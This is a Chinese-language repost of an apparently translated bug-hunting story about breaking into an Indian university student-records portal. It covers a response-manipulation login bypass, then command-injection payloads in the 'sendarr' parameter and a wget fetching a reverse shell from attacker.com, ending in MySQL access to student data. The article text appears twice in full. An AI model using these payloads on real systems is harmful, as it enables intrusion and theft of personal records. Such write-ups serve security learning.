欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 汽车 > 新车 > 国外白帽故事 | 攻破大学数据库系统,暴露数千学生记录

国外白帽故事 | 攻破大学数据库系统,暴露数千学生记录

2024/10/24 11:57:29 来源:https://blog.csdn.net/2401_82664371/article/details/143203932  浏览:    关键词:国外白帽故事 | 攻破大学数据库系统,暴露数千学生记录

引言

在这篇文章中,我将分享我是如何攻破一个大型大学解决方案门户服务器的,这个服务器服务于许多大学客户,并且涉及数千名学生的数据。

目标

这是一个由印度许多大学和学院使用的门户网站,用于管理学生记录、成绩单、出勤记录、答题册等。这个网站只有学生和教师能够登录,注册时需要有效的学院注册号。

这个服务器还配有一个使用相同后端的移动应用程序。

信息收集

像往常一样,我首先进行信息收集,利用Subfinder、Assetfinder、amass、crt.sh和ffuf等工具,尝试找到目标的几乎每一个子域名和二级子域名。我将目标的域名存储在一个名为“scope”的文件中,然后运行了这些工具。但我未能找到该域名的任何有趣的子域名。

该门户本身是一个子域,例如 studentportal.example.com。所以我进入了下一阶段的信息收集,即目录扫描。我最喜欢的目录扫描工具是 FFUF[1],这是一个快速、可靠的扫描工具。所以我运行了这个命令:

ffuf -w /usr/share/wordlists/dirb/big.txt -recursion -u https://studentportal.example.com/ -mc 200,301,302

我让扫描器运行了一分钟左右。

我发现了一个有趣的目录叫做 /bkp。

于是我立即停止了扫描,快速访问了 /bkp 端点,发现了一个页面。那是一个备份门户的登录页面。我心想……找到我的第一个突破口了!

图片

我开始尝试各种可能的默认凭据组合,但没有一个能成功。现在开始进行攻击链……

部分认证绕过

你可能会想,所谓“部分”认证绕过是什么意思,我将先展示我是如何进行认证绕过的,然后再解释。

我启动了 BurpSuite 进行拦截,并用随机凭据发送 POST 请求。现在我可以看到一个请求被发送,其中包含我输入的数据。

图片

真正的专业人士可以立即发现这里的漏洞!!

在响应中,我们可以看到它返回了“failure”,这意味着登录验证在客户端验证中起着重要作用。这可能存在响应操控攻击的可能性。

因此,我检查了客户端代码,发现如果登录成功,服务器会返回待备份的数据,并将用户重定向到一个面板,在那里显示从登录返回的数据库名称。由于我不知道服务器上有哪些备份,我尝试将“failure”编辑为“success”。请求返回了 200,并直接发送了请求到 /bkp/connect.php(connect.php 用于登录后端的 MYSQL 数据库)。

然后,我发现我已经成功登录到了面板!!

但这只是部分成功,意味着显示的数据库名称是‘s’,‘u’,‘c’,‘c’,‘e’,‘s’,‘s’,因为它将每个字母视为数据库名称。

我无法查看可以备份的数据库名称,但如果我知道数据库的名称,我可以使用备份功能。

远程代码执行

在面板中,我看到一个名为“Backup”的按钮。该按钮的功能是将选定的备份数据下载为一个 zip 文件。点击备份按钮后,它会发送一个 POST 请求到 /bkp/backup1.php,并在一个名为“sendarr”的参数中发送备份数据库名称。

图片

我尝试对 sendarr 参数进行模糊测试,持续了大约 10 到 20 分钟,最终发现了一个重要线索。

当我将 sendarr 的值设置为 %00(空字节)时,服务器崩溃,并返回了一个有趣的错误响应。

图片

后端在处理备份时使用了 exec() 函数。

在 PHP 中,exec() 命令用于从 PHP 文件运行系统命令。

看到这个响应我非常兴奋,因为它表明服务器在这个过程中使用了 exec()。所以我立即注入了一个会延迟 20 秒并返回响应的有效载荷。

sendarr=|sleep 20

在 Bash/Linux 终端中,|(管道)符号用于将一个命令的响应重定向到另一个命令,基本上是将多个命令串联起来。

因此,当前命令在后端的样子将是:

./backup.sh | sleep 20

因此,在运行 backup.sh 之后,它会执行 sleep 命令。

我发送请求,结果是服务器响应用了 20.6 秒。这让我确认了这是一个远程代码执行(RCE)漏洞。

目前它是盲注的,我需要得到可见的证据才能继续进行。所以我运行了一个命令,并将输出重定向到 /var/www/html/out

网站的主目录是 /var/www/html,因此如果我在主目录中放置一个包含我运行命令输出的文件,我就可以通过访问 /out 来查看输出。所以我注入了这个有效负载:

sendarr=|id>/var/www/html/out

这个有效负载会在服务器上执行 id 命令,并将输出重定向到 out 文件中。

然后我访问了 /out,结果是,太棒了!!!

图片

现在我获得了代码执行权限,编写了一个简单的 Python 脚本与服务器进行交互,就像一个 shell 一样。

图片

获得访问权限

为了进入服务器,我使用了 PentestMonkey 提供的反向 shell。

我在我的攻击者机器上托管了反向 shell 文件,并使用以下有效负载将其下载到目标服务器:

sendarr=|wget https://attacker.com/rev.php

此命令将反向 shell 下载到网站的主目录。

然后,我在 netcat 上启动了监听,并访问了 /rev.php。

结果,我获得了 shell!

图片

我发现了服务器内部的所有程序文件,涉及学生数据管理、成绩单生成、将学生成绩添加到数据库的程序、插入出勤数据的程序、支付处理等功能。

在浏览文件的过程中,我找到了我想要的……一个名为 consts.php 的文件,其中包含了用于登录数据库的 MySQL 凭据。

图片

我再也不想等待,迅速尝试使用以下命令登录 MySQL:

mysql -h servername.rds.amazonaws.com -u username -p

然后,砰的一声!我成功进入了数据库!!!

我发现了许多不同大学和学院的数据库。

在列表中找到了我的大学,尝试查找我的出勤、入学和成绩数据,并且我成功找到了这些信息!

以下是我找到的数据截图:

图片

图片

图片

我将这一情况报告给了我的学院院长,他将其转发给了该服务提供商的IT团队,修复漏洞几乎花了两周的时间。

该数据库几乎包含了全国100,000多名大学生的数据。

结论

最终,我成功完成了攻破服务器的任务。整个利用链的执行和数据库的访问花费了我3天的时间。

引言

在这篇文章中,我将分享我是如何攻破一个大型大学解决方案门户服务器的,这个服务器服务于许多大学客户,并且涉及数千名学生的数据。

目标

这是一个由印度许多大学和学院使用的门户网站,用于管理学生记录、成绩单、出勤记录、答题册等。这个网站只有学生和教师能够登录,注册时需要有效的学院注册号。

这个服务器还配有一个使用相同后端的移动应用程序。

信息收集

像往常一样,我首先进行信息收集,利用Subfinder、Assetfinder、amass、crt.sh和ffuf等工具,尝试找到目标的几乎每一个子域名和二级子域名。我将目标的域名存储在一个名为“scope”的文件中,然后运行了这些工具。但我未能找到该域名的任何有趣的子域名。

该门户本身是一个子域,例如 studentportal.example.com。所以我进入了下一阶段的信息收集,即目录扫描。我最喜欢的目录扫描工具是 FFUF[1],这是一个快速、可靠的扫描工具。所以我运行了这个命令:

ffuf -w /usr/share/wordlists/dirb/big.txt -recursion -u https://studentportal.example.com/ -mc 200,301,302

我让扫描器运行了一分钟左右。

我发现了一个有趣的目录叫做 /bkp。

于是我立即停止了扫描,快速访问了 /bkp 端点,发现了一个页面。那是一个备份门户的登录页面。我心想……找到我的第一个突破口了!

图片

我开始尝试各种可能的默认凭据组合,但没有一个能成功。现在开始进行攻击链……

部分认证绕过

你可能会想,所谓“部分”认证绕过是什么意思,我将先展示我是如何进行认证绕过的,然后再解释。

我启动了 BurpSuite 进行拦截,并用随机凭据发送 POST 请求。现在我可以看到一个请求被发送,其中包含我输入的数据。

图片

真正的专业人士可以立即发现这里的漏洞!!

在响应中,我们可以看到它返回了“failure”,这意味着登录验证在客户端验证中起着重要作用。这可能存在响应操控攻击的可能性。

因此,我检查了客户端代码,发现如果登录成功,服务器会返回待备份的数据,并将用户重定向到一个面板,在那里显示从登录返回的数据库名称。由于我不知道服务器上有哪些备份,我尝试将“failure”编辑为“success”。请求返回了 200,并直接发送了请求到 /bkp/connect.php(connect.php 用于登录后端的 MYSQL 数据库)。

然后,我发现我已经成功登录到了面板!!

但这只是部分成功,意味着显示的数据库名称是‘s’,‘u’,‘c’,‘c’,‘e’,‘s’,‘s’,因为它将每个字母视为数据库名称。

我无法查看可以备份的数据库名称,但如果我知道数据库的名称,我可以使用备份功能。

远程代码执行

在面板中,我看到一个名为“Backup”的按钮。该按钮的功能是将选定的备份数据下载为一个 zip 文件。点击备份按钮后,它会发送一个 POST 请求到 /bkp/backup1.php,并在一个名为“sendarr”的参数中发送备份数据库名称。

图片

我尝试对 sendarr 参数进行模糊测试,持续了大约 10 到 20 分钟,最终发现了一个重要线索。

当我将 sendarr 的值设置为 %00(空字节)时,服务器崩溃,并返回了一个有趣的错误响应。

图片

后端在处理备份时使用了 exec() 函数。

在 PHP 中,exec() 命令用于从 PHP 文件运行系统命令。

看到这个响应我非常兴奋,因为它表明服务器在这个过程中使用了 exec()。所以我立即注入了一个会延迟 20 秒并返回响应的有效载荷。

sendarr=|sleep 20

在 Bash/Linux 终端中,|(管道)符号用于将一个命令的响应重定向到另一个命令,基本上是将多个命令串联起来。

因此,当前命令在后端的样子将是:

./backup.sh | sleep 20

因此,在运行 backup.sh 之后,它会执行 sleep 命令。

我发送请求,结果是服务器响应用了 20.6 秒。这让我确认了这是一个远程代码执行(RCE)漏洞。

目前它是盲注的,我需要得到可见的证据才能继续进行。所以我运行了一个命令,并将输出重定向到 /var/www/html/out

网站的主目录是 /var/www/html,因此如果我在主目录中放置一个包含我运行命令输出的文件,我就可以通过访问 /out 来查看输出。所以我注入了这个有效负载:

sendarr=|id>/var/www/html/out

这个有效负载会在服务器上执行 id 命令,并将输出重定向到 out 文件中。

然后我访问了 /out,结果是,太棒了!!!

图片

现在我获得了代码执行权限,编写了一个简单的 Python 脚本与服务器进行交互,就像一个 shell 一样。

图片

获得访问权限

为了进入服务器,我使用了 PentestMonkey 提供的反向 shell。

我在我的攻击者机器上托管了反向 shell 文件,并使用以下有效负载将其下载到目标服务器:

sendarr=|wget https://attacker.com/rev.php

此命令将反向 shell 下载到网站的主目录。

然后,我在 netcat 上启动了监听,并访问了 /rev.php。

结果,我获得了 shell!

图片

我发现了服务器内部的所有程序文件,涉及学生数据管理、成绩单生成、将学生成绩添加到数据库的程序、插入出勤数据的程序、支付处理等功能。

在浏览文件的过程中,我找到了我想要的……一个名为 consts.php 的文件,其中包含了用于登录数据库的 MySQL 凭据。

图片

我再也不想等待,迅速尝试使用以下命令登录 MySQL:

mysql -h servername.rds.amazonaws.com -u username -p

然后,砰的一声!我成功进入了数据库!!!

我发现了许多不同大学和学院的数据库。

在列表中找到了我的大学,尝试查找我的出勤、入学和成绩数据,并且我成功找到了这些信息!

以下是我找到的数据截图:

图片

图片

图片

我将这一情况报告给了我的学院院长,他将其转发给了该服务提供商的IT团队,修复漏洞几乎花了两周的时间。

该数据库几乎包含了全国100,000多名大学生的数据。

结论

最终,我成功完成了攻破服务器的任务。整个利用链的执行和数据库的访问花费了我3天的时间。

无偿获取网安学习资料:

 申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

 

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com